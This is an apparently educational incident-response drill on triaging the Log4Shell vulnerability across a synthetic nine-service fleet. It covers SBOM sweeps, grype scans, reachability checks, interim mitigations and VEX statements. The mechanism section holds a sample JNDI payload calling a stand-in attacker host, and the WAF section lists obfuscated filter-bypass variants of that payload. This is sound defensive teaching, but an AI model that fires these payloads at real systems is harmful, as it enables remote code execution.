Hands-On Labs · Guided Drills · Vulnerable Dependency Fire Drill

Drill — Vulnerable Dependency Fire Drill

4:52pm, a Friday. A critical CVE just landed in a logging library that half your fleet probably depends on, it's already confirmed exploited in the wild, and Slack is asking "are we affected?" before you've even finished reading the advisory. This drill hands you a nine-service fleet, the SBOMs your pipeline was already generating before today, and the exact CVE family that made this scenario famous — Log4Shell, Apache Log4j2's CVE-2021-44228. Your job in the next hour: turn "half the fleet probably depends on it" into a named list of exactly which services, prove which of those are actually reachable by an attacker rather than merely present in a dependency tree, and ship patches to the ones on fire before you touch the ones that aren't. Work each phase for real before you read the next one — the arithmetic and the judgment calls are the entire skill this drill exists to build.

☺ Explain it like I'm 10

Imagine your school announces one specific brand of lunchbox has a broken latch that pops open on the bus. You don't know which kids have that lunchbox — so you don't run down every hallway checking bags one at a time, you check the order form the cafeteria already keeps, which says exactly who bought which lunchbox and when. That's the SBOM. But having that lunchbox isn't the same as it popping open: a kid who keeps theirs zipped inside a backpack the whole ride is fine even with the bad latch; a kid who has it sitting open on their lap is the one you fix first. Today you find every bad lunchbox from the order form in minutes, then figure out which ones are actually about to spill.

🐦🐢Your hosts for this drill: Pip the Hummingbird & Timmy the Turtle — Pip is the one who never trusts a dependency without knowing exactly where it came from, and Timmy is the one deciding, in real time, which of nine services actually gets to jump the queue.
⚠ Before you start

You need a terminal, jq, and grype (brew install grype, or the install script on its own release pagesyft is mentioned but not required, since this drill hands you the SBOMs a pipeline would already have produced). Nothing here needs a cluster, a cloud account, or a real vulnerable app — you're working entirely against small, synthetic CycloneDX files you generate locally in one script, and everything is disposable. One honesty note: the CVE identifiers, version ranges, and dates below describe the real December 2021 Log4Shell disclosure as it's part of the public record, but exact backport version numbers shifted more than once in the weeks afterward — treat them as illustrative of the pattern, and check Apache's own security page and the current NVD/GHSA entries before citing a specific number in a real report.

What actually dropped, and why "patched" turned out to be four releases, not one

☺ Like you're 10: The first fix wasn't the whole fix, and the second wasn't either — you have to know the real finish line, not just the first one you hear about.

On December 9–10, 2021, a remote-code-execution vulnerability in Apache Log4j2 became public — CVE-2021-44228, nicknamed Log4Shell, CVSSv3 base score 10.0. The mechanism: Log4j2's message layout resolves ${...} lookup expressions inside a logged string by default, and one of the built-in lookup types is jndi: — which can point at an attacker-controlled LDAP or RMI server and load a remote Java class. Log a string an attacker controls, and if that string contains ${jndi:ldap://attacker.example/a}, the JVM doing the logging reaches out to attacker.example, fetches a class reference, and runs it — inside your own process, with your own service's credentials. No authentication required. No unusual code path required. Just an ordinary log line.

Attacker User-Agent header: ${jndi:ldap://evil .example/a} App code logs the header via log4j-core — nothing unusual Log4j2 layout resolves the lookup by default (any version < 2.15) Outbound JNDI call LDAP / RMI, initiated by the app itself Attacker's directory server returns a reference to a malicious class class loads & executes inside the app's own JVM — same DB creds, same IAM role

The fix took four releases to close, not one, and knowing that sequence is the difference between "patched" and merely "patched for the headline CVE":

Version rangeStatusFixed in
2.0-beta9 – 2.14.1Vulnerable to CVE-2021-44228 (RCE, CVSS 10.0) — the headline bug2.15.0
2.15.0Incomplete fix — non-default configurations (a Context Lookup in a custom pattern) still allowed DoS, and in some setups RCE (CVE-2021-45046)2.16.0 (disables message lookups and JNDI by default)
2.16.0Fixed for both of the above; uncontrolled recursion in self-referential lookups allows denial of service (CVE-2021-45105)2.17.0
2.17.0Fixed for the above; RCE via the JDBC Appender, but only if an attacker already controls the logging configuration itself — a much narrower bar (CVE-2021-44832)2.17.1
≥ 2.17.1Recommended floor for the entire CVE family this drill is about
1.x branch (e.g. 1.2.17)Not affected by CVE-2021-44228 — a different codebase that predates the JNDI message-lookup feature entirely. End-of-life since 2015, with its own unrelated advisories.N/A — migrate off 1.x, don't "patch" it for this CVE
◆ Key idea

Before you check anything else, check whether the CVE is in CISA's Known Exploited Vulnerabilities (KEV) catalog — Log4Shell was added within days. A KEV entry means confirmed evidence of active exploitation in the wild, not just a theoretical CVSS score, and for U.S. federal civilian agencies it carries a binding remediation deadline under Binding Operational Directive 22-01. A CVSS 10.0 that isn't in KEV yet and one that already is both deserve urgency — but only one has already been proven weaponized at internet scale, and that changes how fast "urgent" actually needs to move.

Step 1 — build the fleet inventory from SBOMs you already have

☺ Like you're 10: Don't re-search every backpack from scratch — pull the order form the cafeteria already keeps and read it.

The slow way to answer "which services are affected" is to re-scan every repo, live, right now, one at a time — that's an hour you don't have, and it duplicates work your pipeline was already doing. The fast way is to query the SBOMs your CI already generates on every build — the whole reason software bills of materials exist as a standing artifact instead of a one-off exercise. Scaffold a stand-in for that fleet inventory — nine services, each with a small CycloneDX SBOM, exactly the shape a Syft run against a real build would have already produced days ago:

mkdir dep-fire-drill && cd dep-fire-drill
mkdir sboms && cd sboms

# service:version — "-" means the log4j family is absent entirely
declare -A FLEET=(
  [checkout-api]=2.14.1
  [partner-gateway]=2.13.3
  [notification-svc]=2.14.1
  [admin-console]=2.11.2
  [reporting-worker]=2.14.1
  [search-indexer]=2.16.0
  [legacy-invoicing]=1.2.17
  [mobile-bff]=-
  [internal-tools-portal]=2.14.1
)

for svc in "${!FLEET[@]}"; do
  v="${FLEET[$svc]}"
  if [ "$v" = "-" ]; then
    art="jackson-databind"; ver="2.13.0"; grp="com.fasterxml.jackson.core"
  elif [[ "$v" == 1.* ]]; then
    art="log4j"; ver="$v"; grp="log4j"
  else
    art="log4j-core"; ver="$v"; grp="org.apache.logging.log4j"
  fi
  printf '{"bomFormat":"CycloneDX","specVersion":"1.5","metadata":{"component":{"name":"%s"}},"components":[{"type":"library","name":"%s","version":"%s","purl":"pkg:maven/%s/%s@%s"}]}\n' \
    "$svc" "$art" "$ver" "$grp" "$art" "$ver" > "$svc.cdx.json"
done
ls

Now the actual sweep — this is the part that takes minutes, not hours, precisely because you're grepping files that already exist instead of cloning nine repos and running nine fresh scans:

# which services even mention the log4j-core artifact?
grep -l '"log4j-core"' *.cdx.json
# admin-console.cdx.json  checkout-api.cdx.json  internal-tools-portal.cdx.json
# notification-svc.cdx.json  partner-gateway.cdx.json  reporting-worker.cdx.json
# search-indexer.cdx.json

# and which mention "log4j" but NOT "log4j-core" — a different artifact worth its own look
grep -l '"log4j"' *.cdx.json
# legacy-invoicing.cdx.json

# exact versions, one pass, every service
for f in *.cdx.json; do
  jq -r '.metadata.component.name as $s | .components[] | select(.name|test("^log4j")) | "\($s): \(.name)@\(.version)"' "$f"
done | sort
admin-console: log4j-core@2.11.2
checkout-api: log4j-core@2.14.1
internal-tools-portal: log4j-core@2.14.1
legacy-invoicing: log4j@1.2.17
notification-svc: log4j-core@2.14.1
partner-gateway: log4j-core@2.13.3
reporting-worker: log4j-core@2.14.1
search-indexer: log4j-core@2.16.0
# mobile-bff not listed — no log4j family artifact in its SBOM at all

Eight hits, one clean absence, in one terminal session. Confirm each one authoritatively with grype reading the SBOM directly — no rebuild, no redeploy, just the file:

grype sbom:checkout-api.cdx.json
NAME        INSTALLED  FIXED-IN  TYPE  VULNERABILITY   SEVERITY
log4j-core  2.14.1     2.17.1    java  CVE-2021-44228  Critical
log4j-core  2.14.1     2.16.0    java  CVE-2021-45046  Critical
log4j-core  2.14.1     2.17.0    java  CVE-2021-45105  High

FIXED-IN reports the earliest version that closes that specific CVE — grype is correctly telling you three separate things are wrong with 2.14.1, not one. The safe floor is the highest of the three: 2.17.1, exactly the number the version table above already told you to target.

Step 2 — reachability: present in the SBOM is not the same as exploitable

☺ Like you're 10: Having the bad lunchbox is step one. Whether it's zipped shut in a backpack or wide open on someone's lap is the question that actually decides who you check first.

Eight services carry a hit. Not all eight get paged tonight. Reachability means: does untrusted input actually reach a log call, and is log4j-core the thing actually formatting that log call — not just sitting in the dependency tree unused. Walk the interesting cases by hand, the way you'd actually do it under pressure:

// checkout-api — src/main/java/.../RequestLoggingFilter.java
// Reachable: logs a header straight from an unauthenticated public request.
log.info("Inbound request: ua={}", request.getHeader("User-Agent"));
⚠ Parameterized logging did not save anyone here

A persistent myth during the real 2021 response was that SLF4J-style parameterized calls — log.info("ua={}", value) — were safe because the {} placeholder isn't a format string. It didn't matter. Log4j2 resolves ${...} lookups against the fully rendered message, after substitution, not against the literal format string — so a parameterized call with attacker-controlled value was exactly as exploitable as string concatenation. Don't let a code review close a finding on that distinction; it cost real teams real time in December 2021.

// reporting-worker — a batch job, log4j-core present but never actually invoked
// dependency:tree shows it as transitive, pulled in by a reporting library —
// but this service binds SLF4J to Logback, not to log4j-core:
$ mvn dependency:tree -Dincludes=org.apache.logging.log4j
[INFO] com.example:reporting-worker:jar:3.2.0
[INFO] \- com.example:report-templates:jar:1.4.0
[INFO]    \- org.apache.logging.log4j:log4j-core:jar:2.14.1:runtime  # present, never bound

$ find . -name 'StaticLoggerBinder.class' -o -name 'org.slf4j.spi.SLF4JServiceProvider'
./target/classes/META-INF/services/org.slf4j.spi.SLF4JServiceProvider  # -> ch.qos.logback, not log4j2

That's the distinction that matters: reporting-worker has the vulnerable jar on its classpath, but every log call in the service actually routes through Logback's implementation. Log4j2's own message-layout code — the part that resolves ${jndi:...} — never executes, because nothing ever calls into it. Present, not reachable.

# internal-tools-portal — same reachable pattern as checkout-api, BUT:
kubectl -n internal-tools exec deploy/internal-tools-portal -- env | grep LOG4J
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

That env var was set six months ago as part of an unrelated hardening pass on the fleet's base Helm chart — nobody was thinking about this specific CVE at the time, but it happens to be the exact interim mitigation Apache recommended in December 2021. Reachable in principle, protected in practice, today.

◆ Key idea

"Present" comes straight from the SBOM in seconds. "Reachable" needs three separate questions answered by hand: is the untrusted input actually attacker-controlled, does it actually reach a log call, and is log4j-core itself — not some other logging backend that happens to share the classpath — the thing doing the formatting. Skipping that third question is how a fleet-wide fire drill turns into patching nine services when only four of them were ever actually on fire.

Step 3 — score and sequence: a priority matrix, not a flat list of nine names

☺ Like you're 10: Not every kid with the bad lunchbox needs a teacher at their desk in the next five minutes — sort by who's actually about to spill, first.

Cross exposure against reachability against whatever mitigation, if any, is already live. Four bands, each with a real SLA a real on-call rotation could actually hold to:

BandDefinitionTarget
P0Reachable, internet-facing, no mitigation liveStopgap mitigation within the hour; patched build the same day
P1Reachable, internal-only (an attacker needs a first foothold to reach it)Stopgap mitigation within 4 hours; patch within 24
P2Present but not currently reachable, or reachable but already covered by an existing mitigating controlPatch this sprint; track with a VEX statement so it doesn't re-page on every scan
P3 / not affectedDependency absent, or version already past the fixed line for the headline CVENormal patch cadence; verify via the next SBOM diff, no emergency action

Applied to all nine services, including the two the reachability walkthrough above didn't cover by name:

ServiceVersion foundExposureReachable?Priority
checkout-api2.14.1Internet-facingYes — logs User-Agent rawP0
partner-gateway2.13.3Internet-facing (B2B)Yes — logs raw malformed request bodies on parse errors, for partner debuggingP0
notification-svc2.14.1Internal onlyYes — logs an email subject line that originates from a public-facing "contact us" form upstreamP1
admin-console2.11.2Internal, VPN-gatedTechnically yes — logs the acting admin's username, but that value isn't attacker-controlled without a valid VPN session and admin credentials alreadyP1 — judgment call, see below
reporting-worker2.14.1 (transitive)Internal, batchNo — SLF4J is bound to Logback; log4j-core's own code never runsP2 — VEX not_affected
internal-tools-portal2.14.1Internal, VPN-gatedWould be, but LOG4J_FORMAT_MSG_NO_LOOKUPS=true is already set fleet-wideP2 — VEX affected + mitigating control
search-indexer2.16.0InternalAlready past 2.15/2.16 fixes; still short of 2.17.1P3 — fast-follow, no emergency
legacy-invoicing1.2.17 (1.x branch)Internet-facingNot affected by this CVE at all — wrong codebaseNot affected for -44228; flag separately for its own EOL backlog
mobile-bffabsentInternet-facingNo log4j family artifact anywhere in its SBOMNot affected — verified, not assumed
⚠ The matrix doesn't do the last mile of judgment for you

admin-console is the row worth arguing about. It's technically reachable and internal, which the matrix alone would score P1 — but the untrusted-input bar is genuinely higher than notification-svc's, since it requires an attacker already holding valid VPN access and admin credentials. A real triage call here is legitimately either "P1, because compromised credentials are exactly the kind of thing this CVE family gets chained after" or "P2, because at that point you have bigger problems than this CVE." Write down which you picked and why — the reasoning is the artifact a reviewer needs, not just the final band.

Step 4 — buy time with a mitigation while the real patch is still building

☺ Like you're 10: Zip the bad lunchbox shut right now, even though a real repair still has to happen later.

Roll the interim mitigation to every P0 and P1 service immediately — it's not a fix, it's what buys the hours a real patch, rebuild, and rollout need:

# the officially recommended interim mitigation, versions 2.10.0 - 2.14.1 only
kubectl -n prod set env deployment/checkout-api LOG4J_FORMAT_MSG_NO_LOOKUPS=true
kubectl -n prod set env deployment/partner-gateway LOG4J_FORMAT_MSG_NO_LOOKUPS=true
kubectl -n prod rollout status deployment/checkout-api
kubectl -n prod rollout status deployment/partner-gateway

# confirm it actually applied — don't trust the deploy, check the running pod
kubectl -n prod exec deploy/checkout-api -- env | grep LOG4J_FORMAT_MSG_NO_LOOKUPS

The property that env var maps to — log4j2.formatMsgNoLookups — didn't exist before 2.10.0. Anything on an older 2.x line (nothing in this fleet, but worth knowing) can't use the flag at all and needs the jar-surgery mitigation instead — Apache's own documented emergency fallback:

zip -q -d log4j-core-2.9.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
⚠ A WAF rule is a speed bump, not a fix

A WAF rule blocking the literal string ${jndi: is worth adding as one more layer, but obfuscated variants — ${${lower:j}ndi:ldap://...}, ${${::-j}${::-n}${::-d}${::-i}:...} — route around a naive pattern match without much effort, since Log4j2's own lookup syntax supports nested substitution. Treat perimeter filtering as a delay, not a control you'd write "mitigated" against in a VEX statement.

One more layer worth naming: the entire attack requires an outbound connection the app itself initiates. A default-deny egress policy on the affected namespaces — blocking arbitrary outbound LDAP/RMI to the public internet — doesn't require touching a single line of application code and closes the exploit's one unavoidable network hop, even before the env var rolls out.

Step 5 — patch, verify, and write the VEX statements that stop the re-paging

☺ Like you're 10: Fix the latch for real, then write down — permanently — which lunchboxes never needed fixing at all, so nobody keeps re-checking them every single day.

Bump every affected service to ≥ 2.17.1, rebuild, and re-scan the freshly generated SBOM to prove it, not just to feel done:

grype sbom:checkout-api.cdx.json
# No vulnerabilities found

For the services that were never actually exploitable, the finding itself doesn't disappear from a raw scan — log4j-core is still in reporting-worker's dependency tree, and a naive re-scan will flag it again next week, and the week after, training the team to ignore it exactly the way a noisy alert trains an on-call rotation to stop reading pages. The fix for that is a VEX (Vulnerability Exploitability eXchange) statement — a machine-readable justification that travels with the finding instead of living in someone's memory:

{
  "vulnerabilities": [
    {
      "id": "CVE-2021-44228",
      "affects": [{ "ref": "reporting-worker" }],
      "analysis": {
        "state": "not_affected",
        "justification": "code_not_reachable",
        "detail": "log4j-core 2.14.1 is a transitive dependency pulled in by report-templates:1.4.0. SLF4J is bound to Logback at runtime (confirmed via META-INF/services); log4j-core's own message-formatting code never executes. Verified 2026-08-17."
      }
    }
  ]
}

Or the equivalent as a standalone OpenVEX document — the simpler, format-agnostic sibling favored by CISA for exactly this kind of statement:

{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "statements": [
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["internal-tools-portal"],
      "status": "affected", "action_statement": "Mitigated fleet-wide via LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Patch to 2.17.1 tracked for this sprint." },
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["legacy-invoicing"],
      "status": "not_affected", "justification": "component_not_present",
      "impact_statement": "Running log4j 1.2.17, a different codebase that predates the JNDI lookup feature. Flagged separately for EOL migration." },
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["mobile-bff"],
      "status": "not_affected", "justification": "component_not_present" }
  ]
}

File everything — the four patched services, the two mitigated-and-tracked, and the three closed with a VEX justification — as findings in DefectDojo so the whole fleet's disposition lives in one auditable place instead of nine separate Slack threads that nobody can query six months from now.

🐦 Pip's challenge · going further

Write the full OpenVEX document for all nine services in one file, not just the three shown above. Then go one step further: add a CI check that fails a build if a future SBOM shows log4j-core below 2.17.1 and the deployment manifest is missing LOG4J_FORMAT_MSG_NO_LOOKUPS=true — so the exact gap this drill hunted for by hand tonight can't quietly reopen the next time someone bumps a transitive dependency without thinking about it.

Milestones

☺ Like you're 10: Tick a box only once you've actually watched it happen on your own screen — a step that "sounds right" isn't the same as one you've verified.

Work these in order. Progress saves in this browser.

0 / 11 steps complete
1Pin the exact vulnerable range and the full CVE family, not just the headline
Write down all four CVE IDs (-44228, -45046, -45105, -44832) and the version each one is actually fixed in.
Done when: you can say the real safe floor is 2.17.1, not 2.15.0, without looking it up.
2Check KEV status before triaging by CVSS score alone
Confirm (or in this retrospective drill, recall) that Log4Shell landed in CISA's Known Exploited Vulnerabilities catalog within days of disclosure.
Done when: you can explain why a KEV entry changes urgency differently than a bare CVSS 10.0 does.
3Scaffold the nine-service SBOM fleet and run the grep/jq sweep
Run the setup script, then grep -l and the jq loop to list every service and exact version in one pass.
Done when: your output matches the eight-hit, one-absence list on this page.
4Confirm findings authoritatively with grype against each SBOM
Run grype sbom:<file> for at least three services and read the FIXED-IN column for each separate CVE it reports.
Done when: you can explain why checkout-api shows three rows, not one.
Tool: Trivy (an equivalent SBOM-aware scanner)
5Separate the false positive from the real hits
Explain, in one sentence, why legacy-invoicing's log4j@1.2.17 does not belong on this fire drill's list at all.
Done when: your sentence names the 1.x/2.x codebase split, not just "old version."
6Reachability check: confirm which "present" hits actually log untrusted input
For checkout-api and partner-gateway, name the exact source of the untrusted input that reaches a log call.
Done when: you can point at the specific header or field, not just "user input" in general.
7Reachability check: confirm which hits are dead weight or already mitigated
For reporting-worker, trace why log4j-core is present but never bound. For internal-tools-portal, find the existing env var.
Done when: you can state each service's specific reason for not being an emergency, not just "seems fine."
8Build the full nine-row priority matrix, including the judgment call
Score every service P0-P3 and write one sentence defending the admin-console call specifically.
Done when: your matrix matches this page's, and your admin-console reasoning is written down, not just decided silently.
9Roll out the stopgap mitigation to every P0/P1 service and verify it landed
Set LOG4J_FORMAT_MSG_NO_LOOKUPS=true on checkout-api and partner-gateway, then check the running pod's actual environment, not just the deploy manifest.
Done when: kubectl exec ... -- env shows the variable present on the live pod.
10Patch to ≥2.17.1 and re-scan to prove zero findings
Bump the version, regenerate the SBOM, and re-run grype sbom:... against it.
Done when: the re-scan reports no vulnerabilities for the patched service.
Tool: Trivy
11Write the VEX statements and file everything in one place
Write a not_affected statement for reporting-worker and an affected-with-mitigation statement for internal-tools-portal.
Done when: each statement names a real justification code, not just a free-text guess.
🎬 At the Shift-Left Squad
🐦

Pip the Hummingbird: Eight services show a hit on the SBOM sweep. Nine minutes in, and I already have the full list.

🦊

Foxy: So we patch all eight tonight?

🐢

Timmy the Turtle: No — four of those eight aren't actually reachable yet. I'm not spending a Friday night rebuilding reporting-worker when its own log calls never touch log4j-core at all.

🦝

Rocky the Raccoon: I'll prove it either way — give me five minutes with checkout-api's User-Agent header in a sandbox before anyone calls it "just theoretical."

🐿️

Nutty the Squirrel: And once Rocky's done, I want a VEX statement for every "not affected" row — not a Slack message somebody forgets by Monday, a file.

🦉

Professor Owl: Which is the whole drill in one sequence: find it fast, prove which parts are real, fix those first, and write down why the rest can wait. Meet us here again next time a CVE drops on a Friday.

✓ Checkpoint

1. Why doesn't finding log4j-core in a service's SBOM automatically mean that service needs an emergency patch tonight — what's the specific reachability test that separates "present" from "exploitable"? 2. Why is LOG4J_FORMAT_MSG_NO_LOOKUPS described as a stopgap rather than a fix, and why doesn't it even apply to every vulnerable version? 3. Why is legacy-invoicing's log4j@1.2.17 a false positive for CVE-2021-44228 specifically — and why does it still deserve a follow-up, just not this one? 4. What is a VEX statement for, and which fleet service in this drill gets a legitimate not_affected versus which gets affected with a mitigating control noted?

Check your answers
  1. An SBOM only proves the artifact is somewhere in the dependency tree. Reachability requires three further, separate checks: is there untrusted input reaching a log call at all; does that log call actually get formatted by log4j-core's own code rather than a different bound logging backend (as with reporting-worker's Logback binding); and is any interim mitigation (like a preset LOG4J_FORMAT_MSG_NO_LOOKUPS) already blocking it in practice.
  2. It's a stopgap because it buys time for a real patch, rebuild, and rollout — it doesn't remove the vulnerable code, and it does nothing for the later CVEs in the family (-45105, -44832) that only 2.17.0/2.17.1 actually fix. It doesn't apply to every version because the underlying log4j2.formatMsgNoLookups property didn't exist before 2.10.0 — anything on an older 2.x line needs the jar-surgery mitigation (removing JndiLookup.class directly) instead.
  3. Log4j's 1.x branch is a different codebase that predates the JNDI message-lookup feature Log4Shell exploits entirely, so CVE-2021-44228 simply doesn't apply to it. It still deserves a follow-up because the 1.x branch has been end-of-life since 2015 and carries its own unrelated advisories, and because it's running on an internet-facing service — that's a real risk, just a different one than tonight's fire drill.
  4. A VEX (Vulnerability Exploitability eXchange) statement is a machine-readable, auditable justification for why a present vulnerability finding is or isn't actually exploitable in a given product, so the finding stops silently re-triggering on every future scan without anyone remembering the reasoning. reporting-worker earns a legitimate not_affected with justification code_not_reachable, since log4j-core's own code never executes there. internal-tools-portal gets affected with a mitigating-control note, since it's genuinely reachable in principle and only protected by an environment variable that could drift or be overridden — a real patch is still owed, just not tonight.

That's the whole drill: eight SBOM hits down to four real emergencies, patched and re-verified, with the other four's reasoning written down instead of remembered. For the deeper concepts behind each phase, see Software Bills of Materials, Software Composition Analysis in Depth, Vulnerability Management & Triage, and Dependency & License Risk Management. Syft & Grype and Trivy cover the scanners this drill ran on; DefectDojo covers where the findings and VEX statements actually live afterward. For the real incident this drill is modeled on, read Equifax — an unpatched dependency. Ready for the fuller, continuity version of this exact stage? See Capstone Part 3 — Add an SCA Gate, or step back to Secure a Pipeline — start here.